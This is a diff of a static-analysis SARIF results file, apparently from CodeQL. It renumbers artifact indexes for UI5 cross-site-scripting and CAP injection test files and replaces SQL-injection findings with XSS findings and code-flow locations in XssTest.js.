         "uriBaseId" : "%SRCROOT%",
-        "index" : 244
+        "index" : 283
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 245
+        "index" : 284
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 246
+        "index" : 285
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 247
+        "index" : 286
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 248
+        "index" : 287
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 249
+        "index" : 288
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 250
+        "index" : 289
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 251
+        "index" : 290
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 252
+        "index" : 291
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 253
+        "index" : 292
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 254
+        "index" : 293
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 255
+        "index" : 294
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 256
+        "index" : 295
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 257
+        "index" : 296
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 258
+        "index" : 297
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 259
+        "index" : 298
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 260
+        "index" : 299
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 261
+        "index" : 300
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 262
+        "index" : 301
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 263
+        "index" : 302
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 264
+        "index" : 303
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 265
+        "index" : 304
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 266
+        "index" : 305
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 267
+        "index" : 306
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 268
+        "index" : 307
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 269
+        "index" : 308
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 270
+        "index" : 309
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 271
+        "index" : 310
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 272
+        "index" : 311
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 273
+        "index" : 312
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 274
+        "index" : 313
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 275
+        "index" : 314
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 276
+        "index" : 315
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 277
+        "index" : 316
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 278
+        "index" : 317
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 279
+        "index" : 318
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 280
+        "index" : 319
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 281
+        "index" : 320
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 282
+        "index" : 321
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 283
+        "index" : 322
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 284
+        "index" : 323
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 285
+        "index" : 324
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 286
+        "index" : 325
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 287
+        "index" : 326
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 288
+        "index" : 327
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 289
+        "index" : 328
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 290
+        "index" : 329
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 291
+        "index" : 330
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 292
+        "index" : 331
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 293
+        "index" : 332
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 294
+        "index" : 333
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 295
+        "index" : 334
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 296
+        "index" : 335
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 297
+        "index" : 336
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 298
+        "index" : 337
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 299
+        "index" : 338
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 300
+        "index" : 339
       }
     }, {
       "location" : {
         "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 301
+        "index" : 340
       }
     }, {
       "location" : {
         "uri" : "javascript/heuristic-models/tests/qlpack.yml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 302
+        "index" : 341
+      }
+    }, {
+      "location" : {
+        "uri" : "qlt.conf.json",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 342
+      }
+    }, {
+      "location" : {
+        "uri" : "scripts/codeql-pack.lock.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 343
+      }
+    }, {
+      "location" : {
+        "uri" : "scripts/qlpack.yml",
+        "uriBaseId" : "%SRCROOT%",
+        "index" : 344
       }
+    } ],
+    "results" : [ {
+      "ruleId" : "js/xss",
+      "rule" : {
+        "id" : "js/xss",
+        "index" : 62,
+        "toolComponent" : {
+          "index" : 3
+        }
+      },
+      "message" : {
+        "text" : "Cross-site scripting vulnerability due to [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 0
+          },
+          "region" : {
+            "startLine" : 4,
+            "startColumn" : 20,
+            "endColumn" : 25
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "6311a9ed7e4091a4:1",
+        "primaryLocationStartColumnFingerprint" : "15"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 3,
+                  "startColumn" : 17,
+                  "endColumn" : 51
+                }
+              },
+              "message" : {
+                "text" : "jQuery. ... param\")"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 3,
+                  "startColumn" : 9,
+                  "endColumn" : 51
+                }
+              },
+              "message" : {
+                "text" : "value"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 4,
+                  "startColumn" : 20,
+                  "endColumn" : 25
+                }
+              },
+              "message" : {
+                "text" : "value"
+              }
+            }
+          } ]
+        } ]
+      }, {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 3,
+                  "startColumn" : 17,
+                  "endColumn" : 51
+                }
+              },
+              "message" : {
+                "text" : "jQuery. ... param\")"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 3,
+                  "startColumn" : 9,
+                  "endColumn" : 51
+                }
+              },
+              "message" : {
+                "text" : "value"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 4,
+                  "startColumn" : 20,
+                  "endColumn" : 25
+                }
+              },
+              "message" : {
+                "text" : "value"
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 0
+          },
+          "region" : {
+            "startLine" : 3,
+            "startColumn" : 17,
+            "endColumn" : 51
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
     }, {
-      "location" : {
-        "uri" : "qlt.conf.json",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 303
-      }
+      "ruleId" : "js/xss",
+      "rule" : {
+        "id" : "js/xss",
+        "index" : 62,
+        "toolComponent" : {
+          "index" : 3
+        }
+      },
+      "message" : {
+        "text" : "Cross-site scripting vulnerability due to [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 0
+          },
+          "region" : {
+            "startLine" : 11,
+            "startColumn" : 20,
+            "endColumn" : 25
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "8e517fc6fdf32a1a:1",
+        "primaryLocationStartColumnFingerprint" : "15"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 10,
+                  "startColumn" : 17,
+                  "endColumn" : 41
+                }
+              },
+              "message" : {
+                "text" : "documen ... .search"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 10,
+                  "startColumn" : 9,
+                  "endColumn" : 41
+                }
+              },
+              "message" : {
+                "text" : "value"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 11,
+                  "startColumn" : 20,
+                  "endColumn" : 25
+                }
+              },
+              "message" : {
+                "text" : "value"
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 0
+          },
+          "region" : {
+            "startLine" : 10,
+            "startColumn" : 17,
+            "endColumn" : 41
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
     }, {
-      "location" : {
-        "uri" : "scripts/codeql-pack.lock.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 304
-      }
+      "ruleId" : "js/xss",
+      "rule" : {
+        "id" : "js/xss",
+        "index" : 62,
+        "toolComponent" : {
+          "index" : 3
+        }
+      },
+      "message" : {
+        "text" : "Cross-site scripting vulnerability due to [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 0
+          },
+          "region" : {
+            "startLine" : 19,
+            "startColumn" : 20,
+            "endColumn" : 26
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "c51cf11a085c01f4:1",
+        "primaryLocationStartColumnFingerprint" : "15"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 17,
+                  "endColumn" : 41
+                }
+              },
+              "message" : {
+                "text" : "documen ... .search"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 9,
+                  "endColumn" : 41
+                }
+              },
+              "message" : {
+                "text" : "value"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 18,
+                  "startColumn" : 39,
+                  "endColumn" : 44
+                }
+              },
+              "message" : {
+                "text" : "value"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 18,
+                  "startColumn" : 18,
+                  "endColumn" : 45
+                }
+              },
+              "message" : {
+                "text" : "jQuery. ... (value)"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 18,
+                  "startColumn" : 9,
+                  "endColumn" : 45
+                }
+              },
+              "message" : {
+                "text" : "value1"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 19,
+                  "startColumn" : 20,
+                  "endColumn" : 26
+                }
+              },
+              "message" : {
+                "text" : "value1"
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 0
+          },
+          "region" : {
+            "startLine" : 17,
+            "startColumn" : 17,
+            "endColumn" : 41
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
     }, {
-      "location" : {
-        "uri" : "scripts/qlpack.yml",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 305
-      }
-    } ],
-    "results" : [ {
-      "ruleId" : "js/sql-injection",
+      "ruleId" : "js/xss",
       "rule" : {
-        "id" : "js/sql-injection",
-        "index" : 34,
+        "id" : "js/xss",
+        "index" : 62,
         "toolComponent" : {
-          "index" : 2
+          "index" : 3
         }
       },
       "message" : {
-        "text" : "This query string depends on a [user-provided value](1)."
+        "text" : "Cross-site scripting vulnerability due to [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
             "uriBaseId" : "%SRCROOT%",
             "index" : 0
           },
           "region" : {
-            "startLine" : 41,
+            "startLine" : 27,
             "startColumn" : 20,
-            "endColumn" : 40
+            "endColumn" : 26
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "7d6c29be0dcace2d:1",
-        "primaryLocationStartColumnFingerprint" : "11"
+        "primaryLocationLineHash" : "e309bf8540256a05:1",
+        "primaryLocationStartColumnFingerprint" : "15"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -12931,36 +14612,108 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 0
                 },
                 "region" : {
-                  "startLine" : 41,
-                  "startColumn" : 20,
-                  "endColumn" : 40
+                  "startLine" : 25,
+                  "startColumn" : 17,
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "req2.params.category"
+                "text" : "documen ... .search"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 0
                 },
                 "region" : {
-                  "startLine" : 41,
+                  "startLine" : 25,
+                  "startColumn" : 9,
+                  "endColumn" : 41
+                }
+              },
+              "message" : {
+                "text" : "value"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 26,
+                  "startColumn" : 39,
+                  "endColumn" : 44
+                }
+              },
+              "message" : {
+                "text" : "value"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 26,
+                  "startColumn" : 18,
+                  "endColumn" : 45
+                }
+              },
+              "message" : {
+                "text" : "jQuery. ... (value)"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 26,
+                  "startColumn" : 9,
+                  "endColumn" : 45
+                }
+              },
+              "message" : {
+                "text" : "value1"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 0
+                },
+                "region" : {
+                  "startLine" : 27,
                   "startColumn" : 20,
-                  "endColumn" : 40
+                  "endColumn" : 26
                 }
               },
               "message" : {
-                "text" : "req2.params.category"
+                "text" : "value1"
               }
             }
           } ]
@@ -12970,14 +14723,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
             "uriBaseId" : "%SRCROOT%",
             "index" : 0
           },
           "region" : {
-            "startLine" : 41,
-            "startColumn" : 20,
-            "endColumn" : 40
+            "startLine" : 25,
+            "startColumn" : 17,
+            "endColumn" : 41
           }
         },
         "message" : {
@@ -12988,9 +14741,9 @@
       "ruleId" : "js/missing-rate-limiting",
       "rule" : {
         "id" : "js/missing-rate-limiting",
-        "index" : 55,
+        "index" : 71,
         "toolComponent" : {
-          "index" : 2
+          "index" : 3
         }
       },
       "message" : {
@@ -12999,9 +14752,9 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 0
+            "index" : 1
           },
           "region" : {
             "startLine" : 40,
@@ -13019,9 +14772,9 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
